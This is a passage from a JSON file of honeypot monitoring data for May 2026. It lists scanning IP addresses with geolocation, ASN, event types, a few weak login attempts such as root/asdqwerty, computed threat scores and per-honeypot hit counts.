      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 211736,
      "as_org": "FOP Dmytro Nedilskyi",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4265,
        "days_active_30d": 30,
        "ports_targeted_30d": 734,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:10:35+00:00",
        "last_seen_30d": "2026-05-31T23:21:35.072000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2170,
        "Honeytrap": 2075,
        "Cowrie": 6,
        "Adbhoney": 4,
        "ConPot": 4,
        "Dicompot": 2,
        "Dionaea": 2,
        "Miniprint": 2
      }
    },
    "125.88.225.11": {
      "attack_count": 5,
      "first_seen": "2026-05-11T18:33:08.449Z",
      "last_seen": "2026-05-11T18:33:11.323Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "pw1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:33:08.449000+00:00",
        "last_seen_30d": "2026-05-11T18:34:18.002000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "14.103.111.162": {
      "attack_count": 5,
      "first_seen": "2026-05-30T07:08:59.635Z",
      "last_seen": "2026-05-30T07:09:02.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "proxyuser"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:08:59.635000+00:00",
        "last_seen_30d": "2026-05-30T07:10:03.792000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "20.163.3.80": {
      "attack_count": 5,
      "first_seen": "2026-05-14T20:14:32.874Z",
      "last_seen": "2026-05-14T20:14:43.162Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.8,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T03:37:42.504000+00:00",
        "last_seen_30d": "2026-05-27T01:04:13.655000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
    "23.95.191.208": {
      "attack_count": 5,
      "first_seen": "2026-05-07T01:49:43.758Z",
      "last_seen": "2026-05-07T01:49:46.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "asdqwerty"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:49:43.758000+00:00",
        "last_seen_30d": "2026-05-07T01:50:49.436000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "117.252.244.137": {
      "attack_count": 4,
      "first_seen": "2026-05-23T08:00:49.758Z",
      "last_seen": "2026-05-23T08:01:57.825Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:00:49.758000+00:00",
        "last_seen_30d": "2026-05-23T08:03:06.698000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "120.27.154.152": {
      "attack_count": 4,
      "first_seen": "2026-05-11T06:39:04.289Z",
      "last_seen": "2026-05-11T06:41:35.439Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T06:39:04.289000+00:00",
        "last_seen_30d": "2026-05-11T06:52:29.286000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "121.229.191.90": {
      "attack_count": 4,
      "first_seen": "2026-05-25T13:02:33.628Z",
      "last_seen": "2026-05-25T13:04:33.631Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T13:02:33.628000+00:00",
        "last_seen_30d": "2026-05-25T13:14:34.884000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "18.224.252.214": {
      "attack_count": 4,
      "first_seen": "2026-05-25T13:43:40.006Z",
      "last_seen": "2026-05-25T13:46:23.336Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 57.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 1,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-25T08:35:45+00:00",
        "last_seen_30d": "2026-05-25T20:17:38.113000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 225,
        "Honeytrap": 121,
        "Mailoney": 13,
        "Dionaea": 6,
        "Cowrie": 4,
        "CitrixHoneypot": 1
      }
    },
    "186.50.96.227": {
      "attack_count": 4,
      "first_seen": "2026-05-16T07:30:16.956Z",
      "last_seen": "2026-05-16T07:32:28.179Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T07:30:16.956000+00:00",
        "last_seen_30d": "2026-05-16T07:43:05.819000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "44.202.56.60": {
      "attack_count": 4,
      "first_seen": "2026-05-28T00:50:58.940Z",
      "last_seen": "2026-05-28T00:51:02.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 48.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:55:42.102000+00:00",
        "last_seen_30d": "2026-05-28T00:52:04.230000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "45.156.129.92": {
      "attack_count": 4,
      "first_seen": "2026-05-02T07:27:20.178Z",
      "last_seen": "2026-05-02T07:27:28.178Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 62.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 25,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:27:20.178000+00:00",
        "last_seen_30d": "2026-05-26T05:39:26.216000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 25,
        "Cowrie": 4
      }
    },
    "81.161.239.14": {
      "attack_count": 4,
      "first_seen": "2026-05-03T00:58:21.663Z",
      "last_seen": "2026-05-03T00:58:22.207Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 215292,
      "as_org": "Gravhosting LLC",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:58:21.663000+00:00",
        "last_seen_30d": "2026-05-03T00:59:30.944000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.156.132": {
      "attack_count": 3,
      "first_seen": "2026-05-07T06:47:13.356Z",
      "last_seen": "2026-05-07T06:47:13.357Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 30,
        "ports_targeted_30d": 68,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T06:01:29.613000+00:00",
        "last_seen_30d": "2026-05-31T09:01:42.483000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 207,
        "Honeytrap": 81,
        "Miniprint": 16,
        "Ciscoasa": 12,
        "ConPot": 6,
        "Dionaea": 6,
        "Cowrie": 3,
        "Honeyaml": 2,
        "CitrixHoneypot": 1
      }
    },
    "103.172.139.210": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:13:25.241Z",
      "last_seen": "2026-05-12T16:15:25.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 137967,
      "as_org": "Digicon Telecommunication Ltd",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:13:25.241000+00:00",
        "last_seen_30d": "2026-05-12T16:16:35.015000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.121.89.136": {
      "attack_count": 2,
      "first_seen": "2026-05-06T06:35:32.304Z",
      "last_seen": "2026-05-06T06:35:45.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T06:35:32.304000+00:00",
        "last_seen_30d": "2026-05-06T06:36:51.283000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.65.84.145": {
      "attack_count": 2,
      "first_seen": "2026-05-24T14:08:24.310Z",
      "last_seen": "2026-05-24T14:08:55.392Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 9595,
      "as_org": "NTT-ME Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:08:24.310000+00:00",
        "last_seen_30d": "2026-05-24T14:09:59.286000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "118.68.189.250": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:06:22.604Z",
      "last_seen": "2026-05-23T09:06:35.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:06:22.604000+00:00",
        "last_seen_30d": "2026-05-23T09:07:45.393000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.196.149.141": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:09:36.346Z",
      "last_seen": "2026-05-12T13:09:50.146Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:09:36.346000+00:00",
        "last_seen_30d": "2026-05-12T13:10:58.551000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.165.82.176": {
      "attack_count": 2,
      "first_seen": "2026-05-22T17:11:51.046Z",
      "last_seen": "2026-05-22T17:12:04.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:11:51.046000+00:00",
        "last_seen_30d": "2026-05-22T17:13:11.082000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.166.66.174": {
      "attack_count": 2,
      "first_seen": "2026-05-26T07:46:55.539Z",
      "last_seen": "2026-05-26T07:47:07.858Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T07:46:55.539000+00:00",
        "last_seen_30d": "2026-05-26T07:48:16.256000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "133.175.51.188": {
      "attack_count": 2,
      "first_seen": "2026-05-17T23:29:47.780Z",
      "last_seen": "2026-05-17T23:30:18.339Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kamiochiai",
      "asn": 2519,
      "as_org": "ARTERIA Networks Corporation",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:29:47.780000+00:00",
        "last_seen_30d": "2026-05-17T23:31:27.188000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.249": {
      "attack_count": 2,
      "first_seen": "2026-05-30T22:12:46.963Z",
      "last_seen": "2026-05-30T22:12:47.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T05:50:27+00:00",
        "last_seen_30d": "2026-05-31T22:07:12.135000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64,
        "Honeytrap": 23,
        "Cowrie": 2,
        "Dionaea": 1,
        "Wordpot": 1
      }
    },
    "151.236.189.164": {
      "attack_count": 2,
      "first_seen": "2026-05-03T21:20:37.927Z",
      "last_seen": "2026-05-03T21:20:51.256Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 59588,
      "as_org": "Al Atheer Telecommunication-Iraq Co. Ltd. Incorporated in Cayman Islands",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:20:37.927000+00:00",
        "last_seen_30d": "2026-05-03T21:21:55.271000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.178.213.19": {
      "attack_count": 2,
      "first_seen": "2026-05-06T00:40:23.847Z",
      "last_seen": "2026-05-06T00:40:36.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T00:40:23.847000+00:00",
        "last_seen_30d": "2026-05-06T00:40:36.639000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2
      }
    },
    "190.97.237.155": {
      "attack_count": 2,
      "first_seen": "2026-05-03T18:27:52.782Z",
      "last_seen": "2026-05-03T18:28:05.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 263703,
      "as_org": "VIGINET C.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T18:27:52.782000+00:00",
        "last_seen_30d": "2026-05-03T18:29:08+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.186": {
      "attack_count": 2,
      "first_seen": "2026-05-19T19:06:38.310Z",
      "last_seen": "2026-05-19T19:06:48.020Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 29,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T03:20:45.778000+00:00",
        "last_seen_30d": "2026-05-31T04:30:53.104000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "205.210.31.203": {
      "attack_count": 2,
      "first_seen": "2026-05-25T18:48:05.155Z",
      "last_seen": "2026-05-25T18:48:05.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:03:59.760000+00:00",
        "last_seen_30d": "2026-05-31T22:38:56.071000+00:00",
